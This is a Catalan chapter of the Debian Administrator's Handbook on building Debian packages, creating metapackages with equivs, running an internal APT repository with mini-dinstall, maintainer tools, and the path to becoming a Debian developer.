Quan s'han aplicat tots els canvis necessaris a les fonts, podem començar a generar el paquet binari real (fitxer .deb). Tot el procés és gestionat per l'ordre dpkg-buildpackage.

Exemple 15.1. Recompilació d'un paquet

$ dpkg-buildpackage -us -uc [...]

L'ordre anterior pot fallar si el camp Build-Depends no s'ha actualitzat, o si els paquets relacionats no estan instal·lats. En aquest cas, és possible anul·lar aquesta comprovació passant l'opció -d a dpkg-buildpackage. No obstant això, ignorar explícitament aquestes dependències corre el risc que el procés de construcció falli més endavant. O pitjor encara, el paquet pot semblar que es compila bé i no funcionar correctament: alguns programes desactiven automàticament algunes de les seves característiques quan una biblioteca requerida no està disponible en el moment de la compilació. L'opció encara pot ser molt útil si només voleu crear un paquet de codi font, que se suposa que es farà arribar a entorns nets de compilació com es descriu en ULLADA RÀPIDA Compilació de paquets en entorns chroot i virtual.

Les altres opcions utilitzades en l'exemple anterior s'asseguren que ni el fitxer de codi font .dsc (-us) ni el fitxer produït .changes (-uc) se signin amb la clau criptogràfica del mantenidor del paquet després d'una compilació exitosa.

EINA fakeroot

En essència, el procés de creació de paquets és una qüestió simple de recopilar en un arxiu un conjunt de fitxers existents (o creats); la majoria dels fitxers acabaran sent propietat de root a l'arxiu. No obstant això, la construcció de tot el paquet sota aquest usuari implicaria majors riscos; afortunadament, això es pot evitar amb l'ordre fakeroot. Aquesta eina es pot utilitzar per executar un programa fer-li creure que funciona com a root i crea fitxers amb propietat i permisos arbitraris. Quan el programa crea l'arxiu que es convertirà en el paquet de Debian, se l'enganya per crear un arxiu que conté fitxers marcats com a pertanyents a propietaris arbitraris, incloent-hi root. Aquesta configuració és tan convenient que dpkg-buildpackage utilitza fakeroot per defecte en construir paquets.

Tingueu en compte que el programa només és enganyat en "creure" que funciona com un compte privilegiat, i el procés en realitat funciona com l'usuari executant fakeroot programa (i els fitxers es creen realment amb els permisos d'aquest usuari). En cap moment rep privilegis de superusuari dels que podria abusar.

Sovint, els desenvolupadors de Debian utilitzen un programa d'alt nivell com debuild; això executa dpkg-buildpackage com de costum, però també afegeix una invocació d'un programa que executa moltes comprovacions per validar el paquet generat segons la política de Debian. Aquest script també neteja l'entorn de manera que les variables d'entorn locals no "contaminin" la construcció del paquet. L'ordre debuild és una de les eines de la suite devscripts, que comparteixen una certa coherència i configuració per facilitar la tasca dels mantenidors.

ULLADA RÀPIDA Compilació de paquets en entorns chroot i virtual

Compilar un paquet en un sistema existent, com una estació de treball o un servidor, pot plantejar diversos problemes. Potser el sistema té paquets instal·lats que entren en conflicte amb els requisits de compilació. O potser té paquets instal·lats (biblioteques, capçaleres, etc.) que se suposa que el projecte per compilar no ha d'utilitzar — per exemple de Testing, Unstable, o fins i tot de tercers. També podria tenir paquets instal·lats que en realitat són necessaris per a la compilació però no estan llistats a debian/control. Per tant, és una bona pràctica compilar paquets en entorns “nets”.

Els programes sbuild, pbuilder, o cowbuilder (als paquets amb el mateixos noms) permeten construir un paquet Debian en un entorn «chroot». Cadascun d'ells primer crea un directori temporal que conté el sistema mínim necessari per construir el paquet (incloent els paquets esmentats al camp Build-Depends). Aquest directori s'utilitza llavors com a directori arrel (/), utilitzant l'ordre chroot, durant el procés de construcció.

Aquestes eines permeten que el procés de construcció s'esdevingui en un entorn que no estigui alterat per les manipulacions dels usuaris. Això també permet la detecció ràpida de les dependències de construcció omeses (ja que la construcció fallarà llevat que es documentin les dependències apropiades). Finalment, permet construir un paquet per a una versió de Debian que no sigui el que utilitzi el sistema en el seu conjunt: la màquina pot utilitzar Stable per a la seva càrrega de treball normal, i els entorns «chroot» es poden executar a la mateixa màquina usant Unstable per a les compilacions de paquets. Amb l'ús d'aquestes eines també es possible la compilació per a una distribució diferent, com ara Ubuntu.

schroot, sbuild-shell, o pbuilder permeten executar una ordre o un intèrpret de comandes d'inici de sessió en un entorn «chroot».

A vegades no n'hi ha prou amb compilar un paquet en un entorn «chroot». Això pot ser degut a la compilació per a una arquitectura diferent i en què la compilació creuada no funciona, o a causa de les eines que no poden crear un entorn «chroot» per al sistema objectiu desitjat. En aquests casos es poden crear màquines virtuals per compilar el paquet allà. Aquestes configuracions solen ser més complexes que les eines esmentades anteriorment, i rarament es necessiten, així que només esmentarem aquesta possibilitat sense entrar en gaire detall. Feu una ullada a Secció 12.2, «Virtualització» per a una introducció d'aquest tema.

15.2. Creant el primer paquet

15.2.1. Metapaquets o paquets falsos

Els paquets falsos, o «fake packages»i els metapaquets són similars, ja que són capes buides que només existeixen per als efectes que les seves metadades tenen a la pila de manipulació de paquets.

El propòsit d'un paquet fals és enganyar dpkg i apt perquè creguin que algun paquet està instal·lat encara que només sigui una consola buida. Això permet satisfer les dependències d'un paquet quan el programari corresponent s'ha instal·lat fora de l'àmbit del sistema de paquets. Aquest mètode funciona, però ha d'evitar-se sempre que sigui possible, ja que no hi ha cap garantia que el programari instal·lat manualment es comporti exactament com ho faria el paquet corresponent i altres paquets depenent d'ell no funcionarien correctament.

D'altra banda, un metapaquet existeix principalment com una col·lecció de dependències, de manera que la instal·lació del metapaquet realment estirarà un conjunt d'altres paquets d'un sol cop.

Tots dos tipus de paquets es poden crear amb les ordres equivs-control i equivs-build (al paquet equivs). L'ordre equivs-control fitxer crea un fitxer de capçalera de paquet de Debian que s'ha d'editar per incloure el nom del paquet esperat, el seu número de versió, el nom del mantenidor, les seves dependències i la seva descripció. Altres camps sense un valor per defecte són opcionals i es poden suprimir. Els camps Copyright, Changelog, Readmei Extra-Files no són camps estàndard en paquets de Debian; només tenen sentit dins de l'àmbit d'aplicació d'equivs-build, i no es mantindran a les capçaleres del paquet generat.

Exemple 15.2. Fitxer de capçalera del paquet fals libxml-libxml-perl

Section: perl Priority: optional Standards-Version: 4.5.1 Package: libxml-libxml-perl Version: 2.0207-1 Maintainer: Raphael Hertzog <hertzog@debian.org> Depends: libxml2 (>= 2.9.10) Architecture: all Description: Fake package - module manually installed in site_perl This is a fake package to let the packaging system believe that this Debian package is installed. . In fact, the package is not installed since a newer version of the module has been manually compiled &amp; installed in the site_perl directory.

El següent pas és generar el paquet Debian amb l'ordre equivs-build fitxer. Voilà: el paquet es crea al directori actual i es pot gestionar com qualsevol altre paquet de Debian.

$ equivs-build file equivs-build control dpkg-buildpackage: info: source package libxml-libxml-perl dpkg-buildpackage: info: source version 2.0207-1 dpkg-buildpackage: info: source distribution unstable dpkg-buildpackage: info: source changed by Raphael Hertzog <hertzog@debian.org> dpkg-buildpackage: info: host architecture amd64 dpkg-source --before-build . debian/rules clean dh clean dh_clean debian/rules binary dh binary dh_update_autotools_config dh_autoreconf create-stamp debian/debhelper-build-stamp dh_prep dh_install dh_installdocs dh_installchangelogs dh_perl dh_link dh_strip_nondeterminism dh_compress dh_fixperms dh_missing dh_installdeb dh_gencontrol dh_md5sums dh_builddeb dpkg-deb: building package 'libxml-libxml-perl' in '../libxml-libxml-perl_2.0207-1_all.deb'. dpkg-genbuildinfo --build=binary dpkg-genchanges --build=binary >../libxml-libxml-perl_2.0207-1_amd64.changes dpkg-genchanges: info: binary-only upload (no source code included) dpkg-source --after-build . dpkg-buildpackage: info: binary-only upload (no source included) The package has been created. Attention, the package has been created in the current directory, not in ".." as indicated by the messaige above!

15.2.2. Simple arxiu de fitxers

Els administradors de Falcot Corp han de crear un paquet de Debian per facilitar el desplegament d'un conjunt de documents en un gran nombre de màquines. L'administrador encarregat d'aquesta tasca primer llegeix la "Guia del nou mantenidor", i després comença a treballar en el seu primer paquet.

→ https://www.debian.org/doc/manuals/maint-guide/

El primer pas és crear un directori falcot-data-1.0 que contindrà el paquet amb les fonts. El paquet lògicament s'anomenarà falcot-data i tindrà el número de versió 1.0. L'administrador col·loca els documents en un subdirectori data. Llavors invoquen l'ordre dh_make (del paquet dh-make) per afegir els fitxers requerits pel procés de generació de paquets, que s'emmagatzemaran en un subdirectori debian:

$ cd falcot-data-1.0 $ dh_make --native Type of package: (single, indep, library, python) [s/i/l/p]? i Maintainer Name : Raphael Hertzog Email-Address : hertzog@debian.org Date : Sat, 26 Feb 2021 13:02:06 +0100 Package Name : falcot-data Version : 1.0 License : gpl3 Package Type : indep Are the details correct? [Y/n/q] Currently there is not top level Makefile. This may require additional tuning Done. Please edit the files in the debian/ subdirectory now. $

El tipus de paquet seleccionat (indep) indica que aquest paquet font generarà un únic paquet binari que es pot compartir en totes les arquitectures (Architecture: all a debian/control). single actua com a contrapartida, i duu a un únic paquet binari que depèn de l'arquitectura de destinació (Architecture: any). En aquest cas, l'opció primera és més rellevant, ja que el paquet només conté documents i no hi ha programes binaris, de manera que es pot utilitzar de manera similar en ordinadors de totes les arquitectures.

El tipus «library» o “biblioteca” correspon a un paquet font que genera diversos paquets binaris. És útil per a les biblioteques compartides, ja que han de seguir normes estrictes d'empaquetament.

SUGGERIMENT Nom i adreça de correu electrònic del mantenidor

La majoria dels programes implicats en el manteniment de paquets buscaran el vostre nom i adreça de correu electrònic a les variables d'entorn DEBFULLNAME i DEBEMAIL o EMAIL . Definir-les una vegada us evitarà haver d'escriure-les diverses vegades. Si el vostre intèrpret d'ordres habitual és bash, és una simple qüestió d'afegir les dues línies següents al vostre fitxer ~/.bashrc (òbviament substituireu els valors per altres més rellevants!):

export EMAIL="hertzog@debian.org" export DEBFULLNAME="Raphael Hertzog"

L'ordre dh_make crea un subdirectori debian amb molts fitxers. Alguns són necessaris, en particular rules, control, changelog i copyright. Els fitxers amb l'extensió .ex són fitxers d'exemple que es poden utilitzar modificant-los (i eliminant l'extensió) quan sigui apropiat. Quan no són necessaris, es recomana eliminar-los. El fitxer compat ja no s'usa. En lloc de definir el nivell de compatibilitat de «debhelper» com un número en aquest fitxer, ara està definit com una «build-dependency» (o “dependència de compilació”) sobre el paquet virtual debhelper-compat al fitxer Build-Depends de debian/control.

El fitxer copyright ha de contenir informació sobre els autors dels documents inclosos al paquet, i els drets d'autor i llicència relacionats. En el nostre cas, es tracta de documents interns i el seu ús es limita a l'empresa Falcot Corp. El format predeterminat utilitzat per a aquest fitxer es defineix al camp Format.

→ https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

El fitxer changelog és generalment apropiat; substituir l'«Initial release» (o “versió inicial”) per una explicació més detallada, i canviar la distribució de UNRELEASED o Unstable pel nom la versió de destinació és suficient.

El fitxer control també s'ha d'actualitzar: el camp Section es pot canviar per misc i els camps Homepage, Vcs-Git i Vcs-Browser van ser eliminats. Els camps Depends es van completar amb firefox-esr | www-browser per assegurar la disponibilitat d'un navegador web capaç de mostrar els documents del paquet. Si el paquet no requereix executar cap ordre com a superusuari (vegeu EINA fakeroot), el camp Rules-Requires-Root es pot deixar com està.

Exemple 15.3. El fitxer control

Source: falcot-data Section: misc Priority: optional Maintainer: Raphael Hertzog <hertzog@debian.org> Build-Depends: debhelper-compat (= 13) Standards-Version: 4.5.1 Rules-Requires-Root: no Package: falcot-data Architecture: all Depends: firefox-esr | www-browser, ${misc:Depends} Description: Internal Falcot Corp Documentation This package provides several documents describing the internal structure at Falcot Corp. This includes: - organization diagram - contacts for each department. . These documents MUST NOT leave the company. Their use is INTERNAL ONLY.

Exemple 15.4. El fitxer changelog

falcot-data (1.0) bullseye; urgency=low * Initial Release. * Let's start with few documents: - internal company structure; - contacts for each department. -- Raphael Hertzog <hertzog@debian.org> Sat, 26 Feb 2022 15:12:06 +0100

Exemple 15.5. El fitxer copyright

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Upstream-Name: falcot-data Files: * Copyright: 2004-2021 Falcot Corp License: All rights reserved.

TORNAR A LES BASES El fitxer Makefile

Un fitxer Makefile és un script utilitzat pel programa make; descriu les regles sobre com construir un conjunt de fitxers entre si en un arbre de dependències (per exemple, un programa es pot construir a partir d'un conjunt de fitxers font). El fitxer Makefile descriu aquestes regles en el format següent:

target: source1 source2 ... command1 command2

La interpretació bàsica d'una regla d'aquesta mena és la següent: si un dels fitxers source* és més recent que el fitxer target, llavors cal generar l'objectiu utilitzant command1 i command2.

Tingueu en compte que les línies d'ordres han de començar amb un caràcter de tabulació; també cal tenir en compte que quan una línia d'ordres comença amb un caràcter de guió (-), la fallada de l'ordre no interromp tot el procés.

El fitxer rules normalment conté un conjunt de regles utilitzades per configurar, compilar i instal·lar el programari en un subdirectori dedicat (anomenat com el paquet binari generat). El contingut d'aquest subdirectori s'arxiva després dins del paquet Debian com si fos l'arrel del sistema de fitxers. En el nostre cas, els fitxers s'instal·laran al subdirectori debian/falcot-data/usr/share/falcot-data/, de manera que instal·lant el paquet generat es desplegaran els fitxers sota /usr/share/falcot-data/. El fitxer rules s'utilitza com a Makefile, amb alguns «targets» o “objectius” estàndard (incloent-hi clean i binary, utilitzats respectivament per netejar el directori d'origen i generar el paquet binari).

Encara que aquest fitxer és el cor del procés, cada cop més conté només el mínim per executar un conjunt estàndard d'ordres proporcionat per l'eina debhelper. Aquest és el cas dels fitxers generats per dh_make. Per instal·lar els nostres fitxers, simplement es configura el comportament de l'ordre dh_install creant el següent fitxer debian/falcot-data.install:

data/* usr/share/falcot-data/

En aquest punt ja es pot crear el paquet. No obstant això, hi afegirem una capa de pintura. Atès que els administradors volen que els documents siguin fàcilment accessibles des dels menús dels entorns gràfics d'escriptori, s'afegeix un fitxer falcot-data.desktop i s'instal·la a /usr/share/applications afegint una segona línia a debian/falcot-data.install.

Exemple 15.6. El fitxer falcot-data.desktop

[Desktop Entry] Name=Internal Falcot Corp Documentation Comment=Starts a browser to read the documentation Exec=x-www-browser /usr/share/falcot-data/index.html Terminal=false Type=Application Categories=Documentation;

L'actualització de debian/falcot-data.install queda així:

data/* usr/share/falcot-data/ falcot-data.desktop usr/share/applications/

El nostre paquet font ja està llest. Tot el que queda per fer és generar el paquet binari, amb el mateix mètode utilitzat anteriorment per reconstruir paquets: executem l'ordre dpkg-buildpackage -us -uc des del directori falcot-data-1.0.

15.3. Creació d'un repositori de paquets per a APT

Falcot Corp va començar a mantenir gradualment una sèrie de paquets Debian modificats localment a partir de paquets existents o creats des de zero per distribuir dades i programes interns.

Per facilitar-ne la distribució, es vol integrar aquests paquets en un arxiu de paquets que pugui ser utilitzat directament per APT. Per raons de manteniment òbvies, es volen separar els paquets interns dels paquets refets localment. L'objectiu és que les entrades corresponents en un fitxer /etc/apt/sources.list.d/falcot.list siguin les següents:

deb http://packages.falcot.com/ updates/ deb http://packages.falcot.com/ internal/

Per tant, els administradors configuren un servidor virtual al seu servidor HTTP intern, amb /srv/vhosts/packages/ com l'arrel de l'espai web associat. La gestió del mateix arxiu es delega a l'ordre mini-dinstall (al paquet amb el mateix nom). Aquesta eina manté un ull al directori incoming/ (en el nostre cas, /srv/vhosts/packages/mini-dinstall/incoming/) i espera nous paquets allà; quan s'hi envia un paquet, s'instal·la en un arxiu Debian a /srv/vhosts/packages/. L'ordre mini-dinstall llegeix el fitxer *.changes creat quan es genera el paquet Debian. Aquests fitxers contenen una llista de tots els altres fitxers associats amb la versió del paquet (*.deb,*.dsc,*.diff.gz/*.debian.tar.gz,*.orig.tar.gz, o els seus equivalents amb altres eines de compressió), i aquests permeten a mini-dinstall saber quins fitxers cal instal·lar. Els fitxers *.changes també contenen el nom de la distribució de destinació (sovint unstable) mencionada a l'última entrada de debian/changelog, i mini-dinstall utilitza aquesta informació per decidir on s'ha d'instal·lar el paquet. Per això els administradors sempre han de canviar aquest camp abans de construir un paquet, i establir-lo a internal o updates, depenent de la ubicació de destinació. mini-dinstall després genera els fitxers requerits per APT, com ara Packages.gz.

ALTERNATIVA apt-ftparchive, aptly i reprepro

Si mini-dinstall sembla massa complex per a les vostres necessitats d'arxiu Debian, també podeu utilitzar l'ordre apt-ftparchive. Aquesta eina escaneja el contingut d'un directori i mostra (en la seva sortida estàndard) un fitxer Packages corresponent. En el cas de Falcot Corp, els administradors podrien pujar els paquets directament a /srv/vhosts/packages/updates/ o /srv/vhosts/packages/internal/, per després executar les ordres següents per crear els fitxers Packages.gz:

$ cd /srv/vhosts/packages $ apt-ftparchive packages updates >updates/Packages $ gzip updates/Packages $ apt-ftparchive packages internal >internal/Packages $ gzip internal/Packages

L'ordre apt-ftparchive sources permet crear fitxers Sources.gz d'una manera similar.

reprepro i aptly són eines més avançades per al mateix propòsit. Poden produir, gestionar i sincronitzar repositoris de paquets, replicar altres repositoris, fins i tot seleccionar paquets des de repositoris oficials i proporcionar-los localment, crear signatures dels índexs de paquet generats i, per tant, proporcionar dipòsits signats. repreprepro emmagatzema paquets i sumes de verificació en un fitxer de base de dades de Berkeley DB, de manera que no es necessita cap servidor de base de dades. aptly proporciona la mateixa funcionalitat, però pot ser més fàcil de manejar. Per desgràcia, ambdós projectes, encara que probablement són les solucions amb més funcionalitats, no s'estan desenvolupant activament en aquests moments.

reprepro ve amb molta documentació i exemples a /usr/share/doc/reprepro/, mentre que aptly té una vasta documentació en línia.

→ https://www.aptly.info/

La configuració de mini-dinstall requereix configurar un fitxer ~/.mini-dinstall.conf; en el cas Falcot Corp, el contingut és el següent:

[DEFAULT] archive_style = flat archivedir = /srv/vhosts/packages verify_sigs = 0 mail_to = admin@falcot.com generate_release = 1 release_origin = Falcot Corp release_codename = stable [updates] release_label = Recompiled Debian Packages [internal] release_label = Internal Packages

Una decisió que val la pena assenyalar és la generació de fitxers Release per a cada arxiu. Això pot ajudar a gestionar les prioritats d'instal·lació de paquets utilitzant el fitxer de configuració /etc/apt/preferences (vegeu Secció 6.2.5, «Gestió de les prioritats dels paquets» per als detalls).

SEGURETAT mini-dinstall i els permisos

Atès que mini-dinstall ha estat dissenyat per funcionar com un usuari normal, no hi ha necessitat d'executar-lo com a «root». La manera més senzilla és configurar-ho tot dins del compte d'usuari que pertanyi a l'administrador encarregat de crear els paquets Debian. Com que només aquest administrador té els permisos necessaris per posar fitxers al directori incoming/, podem deduir que l'administrador haurà autenticat l'origen de cada paquet abans d'incloure'l i mini-dinstall no necessita tornar-ho a fer. Això explica el paràmetre verify_sigs = 0 (el qual significa que les signatures no han de ser verificades). No obstant això, si el contingut dels paquets és sensible, podem revertir aquesta configuració i triar autenticar-se amb un anell de claus públic que contingui les claus públiques de les persones permeses per crear paquets (configurat amb el paràmetre extra_keyrings); mini-dinstall comprovarà l'origen de cada paquet entrant analitzant la signatura integrada al fitxer *.changes.

Invocar mini-dinstall en realitat inicia un dimoni en segon pla. Mentre s'executi aquest dimoni, comprovarà si hi ha paquets nous al directori incoming/ cada mitja hora; quan arriba un paquet nou, es mourà a l'arxiu i es regeneraran els fitxers Packages.gz i Sources.gz. Si l'execució d'un dimoni és un problema, mini-dinstall també es pot invocar manualment en mode per lots o «batch» (amb l'opció -b) cada vegada que es puja un paquet al directori incoming/. Altres possibilitats proporcionades per mini-dinstall estan documentades a la seva pàgina de manual mini-dinstall(1).

EXTRA Generació d'un arxiu signat

La suite APT comprova una cadena de signatures criptogràfiques als paquets que gestiona abans d'instal·lar-los per tal d'assegurar la seva autenticitat (vegeu Secció 6.6, «Comprovació de l'autenticitat d'un paquet»). Els arxius d'APT privats poden ser un problema, ja que les màquines que els utilitzen mostraran contínuament avisos sobre els paquets sense signar. Per tant, un administrador diligent integrarà arxius privats amb el mecanisme d'APT segur.

Per ajudar amb aquest procés, mini-dinstall inclou una opció de configuració release_signscript que permet especificar un script a utilitzar per generar la signatura. Un bon punt de partida és l'script sign-release.sh proporcionat pel paquet mini-dinstall a /usr/share/doc/mini-dinstall/examples/; pot ser rellevants adaptar-lo localment.

15.4. Convertir-se en mantenidor de paquets

15.4.1. Aprendre a fer paquets

La creació d'un paquet Debian de qualitat no sempre és una tasca senzilla, i convertir-se en un mantenidor de paquets requereix algun aprenentatge, tant de teoria com de pràctica en aspectes tècnics i legals. No és una qüestió senzilla de compilar i instal·lar programari; més aviat, la major part de la complexitat prové de la comprensió dels problemes i conflictes, i més en general les interaccions amb la infinitat d'altres paquets disponibles.

15.4.1.1. Regles

Un paquet Debian ha de complir amb les regles precises compilades a la política de Debian, i cada mantenidor de paquets ha de conèixer-les. No existeix cap requisit de conèixer-los de memòria, sinó de saber que existeixen i de referir-se a ells quan una opció presenta una alternativa no trivial. Tots els mantenidors de Debian han comès errors al no saber una regla, però això no és un problema enorme sempre que l'error es corregeixi quan un usuari n'informa com a informe d'error (que tendeix a passar de seguita gràcies als usuaris avançats). El camp Standards-Version de debian/control especifica la versió de la política Debian amb la qual compleix un paquet. Els mantenidors haurien de complir amb l'última versió de la política Debian.

→ https://www.debian.org/doc/debian-policy/

15.4.1.2. Procediments

Debian no és una simple col·lecció de paquets individuals. El treball d'empaquetament de cadascú és part d'un projecte col·lectiu; ser un desenvolupador de Debian implica saber com funciona el projecte de Debian com a conjunt. Cada desenvolupador interactuarà, més aviat o més tard, amb els altres. La «Debian Developer's Reference» o “Referència del Desenvolupador Debian” (al paquet developers-reference) resumeix el que cada desenvolupador ha de saber per tal d'interactuar de la millor manera possible amb els diferents equips del projecte, i per aprofitar millor els avantatges possibles dels recursos disponibles. Aquest document també enumera una sèrie de deures que s'espera que compleixi un desenvolupador.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. Eines

Moltes eines ajuden els mantenidors de paquets en el seva tasca. Aquesta secció els descriu ràpidament, però no dóna tots els detalls ja que tots tenen una completa documentació pròpia.

15.4.1.3.1. devscripts

El paquet devscripts conté molts programes que ajuden en una àmplia gamma de tasques d'un desenvolupador de Debian:

debuild permet generar un paquet (amb dpkg-buildpackage) i executar lintian per verificar després el compliment amb la política Debian.

debclean neteja un paquet font després que s'hagi generat un paquet binari.

dch permet l'edició ràpida i senzilla d'un fitxer debian/changelog en un paquet font.

uscan comprova si un autor original ha publicat una nova versió d'un programari; això requereix un fitxer debian/watch amb una descripció de la ubicació d'aquests publicacions.

debi permet instal·lar (amb dpkg -i) el paquet Debian que s'acaba de generar sense la necessitat d'escriure el seu nom i camí complets.

De manera similar, debc permet escanejar el contingut del paquet acabat de generar (amb dpkg -c), sense necessitat d'escriure el seu nom i camí complets.

bts controla el sistema de seguiment d'errors des de la línia d'ordres; aquest programa genera automàticament els correus electrònics apropiats.

→ https://www.debian.org/Bugs/server-refcard

debrelease ennvia un paquet generat recentment a un servidor remot, sense necessitat d'escriure el nom complet i el camí del fitxer .changes corresponent.

debsign signa els fitxers *.dsc i *.changes.

uupdate automatitza la creació d'una nova revisió d'un paquet quan s'ha publicat una nova versió del programari original.

Totes les ordres esmentades estan documentades en les seves respectives pàgines de manual. Un usuari encara se les pot personalitzar més al fitxer: ~/.devscripts.

15.4.1.3.2. debhelper i dh-make

Debhelper és un conjunt de scripts que faciliten la creació de paquets compatibles amb les normativa; aquests scripts s'invoquen des de debian/rules. Debhelper ha estat àmpliament adoptat dins de Debian, com ho demostra el fet que és utilitzat per la majoria dels paquets oficials de Debian. Totes les ordres que conté tenen un prefix dh_. Cadascun d'elles està documentada en una pàgina de manual. Els diferents nivells de compatibilitat i les opcions comunes es descriuen a debhelper(7).

L'script dh_make (al paquet dh-make) crea els fitxers necessaris per generar un paquet Debian en un directori que inicialment conté les fonts d'un programari. Com es pot endevinar a partir del nom del programa, els fitxers generats utilitzen el debhelper per defecte.

15.4.1.3.3. lintian

Aquesta eina és una de les més importants: és el verificador de paquets Debian. Es basa en una gran varietat de testos creats a partir de la política Debian, i detecta ràpidament i automàticament molts errors que després es poden corregir abans que es publiquin els paquets.

Aquesta eina només és una ajuda, i de vegades s'equivoca (per exemple, ja que la política de Debian canvia amb el temps, lintian de vegades està obsolet). Tampoc és exhaustiva: no tenir cap error de Lintian no hauria d'interpretar-se com una prova que el paquet és perfecte; com a molt, evita els errors més comuns.

15.4.1.3.4. piuparts

Aquesta és una altra eina important: automatitza la instal·lació, l'actualització, l'eliminació i la purga d'un paquet (en un entorn aïllat), i comprova que cap d'aquestes operacions condueixi a un error. Pot ajudar a detectar les dependències que manquen, i també detecta quan s'han deixat fitxers incorrectament després que el paquet s'hagi purgat.

15.4.1.3.5. autopkgtest

autopkgtest executa testos en paquets binaris, utilitzant les proves subministrades al paquet font a debian/tests/. Diverses ordres permeten la creació fàcil d'entorns de proves «chroot» o virtuals.

15.4.1.3.6. reprotest

reprotest construeix el mateix codi font dues vegades en entorns diferents, i després comprova els binaris produïts per cada compilació per trobar-ne diferències. Si n'hi ha, llavors s'utilitza el diffoscope (i si no està disponible, diff) per mostrar-les en detall per a l'anàlisi posterior.

15.4.1.3.7. dupload i dput

Les ordres dupload i dput permeten enviar un paquet Debian a un servidor (possiblement remot). Això permet als desenvolupadors publicar el seu paquet al servidor Debian principal (ftp-master.debian.org) perquè es pugui integrar a l'arxiu i distribuir-lo pels miralls. Aquestes ordres prenen un fitxer .changes com a paràmetre, i en dedueixen els altres fitxers rellevants a partir del seu contingut.

15.4.1.3.8. git-buildpackage i dgit

El projecte ha estat utilitzant diversos sistemes de control de versions al llarg dels anys per emmagatzemar els esforços d'empaquetament o el codi font del paquet, o permetre el manteniment col·laboratiu de paquets. En un intent per unificar els sistemes i esforços, es va decidir finalment el 2017 moure (gairebé) tots els paquets font a Git (CULTURA Git) a una instància de Gitlab anomenada salsa.debian.org.

→ https://salsa.debian.org/

Per facilitar el fer paquets amb Git per als desenvolupadors de Debian, s'han desenvolupat eines. Això no només permet emmagatzemar els fitxers d'empaquetament a Git, sinó també utilitzar els repositoris Git (i el seu historial) de projectes de programari, incloure els pegats aplicats a les fonts dels paquets a l'historial Git, mantenir versions de programari per cada distribució, etc.

Un dels paquets més famosos és git-buildpackage. Una alternativa és dgit. Per descomptat, encara és possible no utilitzar-ne cap d'elles.

A continuació hi ha un exemple d'un fitxer de configuració ~/.gbp.conf

[DEFAULT] builder = sbuild -d bullseye --build-dep-resolver=aptitude -s --source-only-changes --build-failed-commands "%SBUILD_SHELL" pristine-tar = true [buildpackage] sign-tags = true keyid = XXXX postbuild = autopkgtest --user debci --apt-upgrade -s "$GBP_CHANGES_FILE" -- lxc --sudo autopkgtest-bullseye-amd64 export-dir = /tmp/build-area/ notify = off [import-orig] filter-pristine-tar = true sign-tags = true [pq] drop = true

Compilar un paquet és tan fàcil com executar gbp buildpackage a l'arbre Git. Iniciarà una construcció de paquet en un «chroot» amb Debian Bullseye usant sbuild. Quan la construcció acaba bé, els fitxers creats es comprovaran executant el autopkgtest-testsuite (si està definit). Totes les diverses opcions s'expliquen a gbp.conf(5) i /etc/git-buildpackage/gbp.conf.

Totes les eines esmentades fins ara s'han inclòs també en el procés d'integració contínua (CI o «continuous integration») de la instància salsa.debian.org:

→ https://salsa.debian.org/salsa-ci-team/pipeline

15.4.2. Procés d'acceptació

Convertir-se en “desenvolupador de Debian” no és una qüestió administrativa senzilla. El procés comprèn diversos passos, i és tant una iniciació com un procés de selecció. En qualsevol cas, està formalitzat i ben documentat, de manera que qualsevol pot fer un seguiment de la seva progressió al lloc web dedicat al procés per nous membres.

→ https://nm.debian.org/

EXTRA Procés lleuger per als “mantenidors de Debian”

El «Debian Maintainer» o “mantenidor de Debian” és un altre estat que dóna menys privilegis que el “desenvolupador de Debian”, però el procés associat és més ràpid. Amb aquest estatus, els contribuents només poden mantenir els seus propis paquets. Un desenvolupador de Debian només ha de realitzar una comprovació en una pujada inicial, i emetre una declaració en el sentit que confia en el mantenidor prospectiu amb la capacitat de mantenir el paquet pel seu compte.

15.4.2.1. Prerequisits

S'espera que tots els candidats tinguin almenys un coneixement funcional de la llengua anglesa. Això és necessari a tots els nivells: per a les comunicacions inicials amb l'examinador, per descomptat, però també més tard, ja que l'anglès és l'idioma preferit per a la majoria de la documentació; també, els usuaris de paquets es comunicaran en anglès quan informin d'errors, i esperaran respostes en anglès.

L'altre prerequisit s'ocupa de la motivació. Convertir-se en desenvolupador de Debian és un procés que només té sentit si el candidat sap que el seu interès en Debian durarà molts mesos. El procés d'acceptació pot durar diversos mesos, i Debian necessita desenvolupadors de llarga durada; cada paquet necessita manteniment permanent, i no només una pujada inicial.

15.4.2.2. Registre

El primer pas (real) consisteix a trobar un patrocinador o representant; això és un desenvolupador oficial disposat a declarar que creu que acceptar X seria una cosa bona per a Debian. Això normalment implica que el candidat ja ha estat actiu dins de la comunitat, i que el seu treball ha estat apreciat. Si el candidat és tímid i el seu treball no és accessible públicament, es pot intentar convèncer un desenvolupador de Debian perquè el defensi mostrant el seu treball de manera privada.

Al mateix temps, el candidat ha de generar un parell de claus RSA públic/privat amb GnuPG, que hauria de ser signat per almenys dos desenvolupadors oficials de Debian. La signatura autentifica el nom de la clau. De manera efectiva, durant una «key signing party» o “trobada per a la signatura de claus”, cada participant ha de mostrar una identificació oficial (normalment una targeta d'identificació o passaport) juntament amb els seus identificadors de claus. Aquest pas confirma l'enllaç entre la persona i les claus. Per tant, aquesta signatura requereix trobar-se en la vida real. Si encara no heu conegut cap desenvolupador de Debian en una conferència de programari lliure públic, podeu cercar explícitament desenvolupadors que viuen a prop utilitzant la llista de la pàgina web següent com a punt de partida.

→ https://wiki.debian.org/Keysigning

Un cop el registre a nm.debian.org ha estat validat pel patrocinador, s'assigna un «Application Manager» o “gestor de la sol·licitud” al candidat. El gestor de la sol·licitud conduirà el procés a través de múltiples passes i comprovacions predefinides.

La primera verificació és una comprovació d'identitat. Si ja teniu una clau signada per dos desenvolupadors de Debian, aquest pas és fàcil; en cas contrari, el gestor de la sol·licitud intentarà guiar-vos en la cerca de desenvolupadors de Debian propers per organitzar una trobada i una signatura de claus.

15.4.2.3. Acceptació dels principis

Aquestes formalitats administratives van seguides de consideracions filosòfiques. La qüestió és assegurar-se que el candidat entén i accepta el contracte social i els principis que subjacents al Programari Lliure. L'entrada a Debian només és possible si es comparteixen els valors que uneixen els desenvolupadors actuals, com s'expressa en els textos fundacionals (i es resumeixen a Capítol 1, El Projecte Debian).

